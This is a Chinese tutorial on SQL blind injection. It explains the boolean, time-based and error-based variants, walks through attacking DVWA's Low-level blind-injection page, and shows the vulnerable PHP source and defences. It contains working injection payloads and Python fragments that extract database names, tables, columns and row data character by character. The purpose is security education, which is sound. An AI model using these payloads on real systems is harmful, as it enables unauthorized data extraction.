SQL盲注基础及DVWA实战分析
字数 1354 2025-08-15 21:31:19
SQL盲注基础及DVWA实战分析教学文档
一、SQL盲注基础知识
1. 什么是盲注
盲注是指用户发起请求后,服务器在数据库执行操作但不将查询结果返回到页面显示的情况。典型场景如用户注册功能中,只提示用户名是否被注册而不返回具体数据。
2. 盲注的分类
(1) 布尔型盲注
- 页面执行SQL后只显示两种结果(True/False)
- 通过构造逻辑表达式的SQL语句判断数据内容
(2) 时间型盲注
- 通过页面执行时间判断数据内容
- 用于数据无法返回到页面的场景
- 常用函数:sleep()
(3) 报错型盲注
- 构造SQL使数据库返回错误信息
- 利用函数特性获取数据
- 常用函数:extractvalue()、updatexml()
3. 盲注流程
- 判断是否存在注入及注入类型
- 猜解当前数据库名称
- 猜解数据库中的表名
- 猜解表中的字段名
- 获取表中的字段值
- 验证字段值的有效性
- 获取其他信息(版本、用户等)
4. 相关函数
sleep():挂起程序一段时间(时间盲注)length():返回字符串长度substr()/substring()/mid():截取字符串ascii():返回字符的ASCII码if(expr1,expr2,expr3):条件判断database():返回当前数据库名称
二、SQL盲注实战(DVWA平台)
1. 手工测试注入点
测试步骤:
1'→ 显示"MISSING"1' #→ 显示"exists" → 初步判断字符型注入1' and 1=1 #→ 显示"exists"1' and 1=2 #→ 显示"MISSING"
结论: 确认存在字符型SQL注入漏洞
2. 自动化注入脚本分析(Python)
(1) 核心功能函数
def exec_request(sql):
# 执行SQL请求并返回结果判断
if 'exists' in response:
return 1
else:
return 0
(2) 注入流程实现
-
判断注入点类型
def judge_injection(): if exec_request("1' and '1'='1") != exec_request("1' and '1'='2"): print('字符型注入') elif exec_request("1 and 1=1") != exec_request("1 and 1=2"): print('数字型注入') -
猜解数据库名长度
for i in range(100): sql = f"1' and length(database())={i}#" if exec_request(sql)==1: return i -
爆破数据库名
for i in range(length): for j in range(32,127): sql = f"1' and ascii(substr(database(),{i+1},1))={j}#" if exec_request(sql)==1: name += chr(j) -
判断表数量
sql = f"1' and (select count(table_name) from information_schema.tables where table_schema='{db}')={i}#" -
爆破表名
sql = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{db}' limit {i},1),{j+1},1))={g}#" -
获取字段名
sql = f"1' and ascii(substr((select column_name from information_schema.columns where table_name='{table}' limit {i},1),{j+1}))={g}#" -
获取数据
sql = f"1' and (ascii(substr((select {field} from {table} limit {i},1),{j},1)))={g}#"
3. 关键注入技巧
-
使用
information_schema获取元数据information_schema.tables获取表信息information_schema.columns获取列信息
-
逐字符爆破技术
- 通过ASCII码范围(32-126)逐个字符判断
- 结合
substr()和ascii()函数
-
布尔判断逻辑
- 通过页面返回"exists"或"MISSING"判断条件真假
三、DVWA源码分析(Low级别)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
$id = $_GET[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
$num = @mysqli_num_rows( $result );
if( $num > 0 ) {
echo '<pre>User ID exists in the database.</pre>';
} else {
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
漏洞成因:
- 未对用户输入
$id进行任何过滤 - 直接拼接SQL语句
- 仅通过返回结果数判断,不显示实际数据
- 错误抑制符
@隐藏了错误信息
四、防御措施
-
输入验证
- 使用白名单验证输入格式
- 过滤特殊字符(如单引号)
-
参数化查询
- 使用预处理语句
- 分离SQL逻辑与数据
-
最小权限原则
- 数据库用户仅授予必要权限
-
错误处理
- 避免显示详细错误信息
- 使用自定义错误页面
-
Web应用防火墙(WAF)
- 检测和阻止SQL注入尝试
五、总结
SQL盲注是通过间接方式推断数据库信息的攻击技术,相比普通注入更具挑战性。理解盲注原理和掌握自动化注入技术对安全测试人员至关重要,同时也帮助开发人员更好地防御此类攻击。DVWA的Low级别示例展示了未采取任何防护措施的SQL注入漏洞,是学习Web安全的经典案例。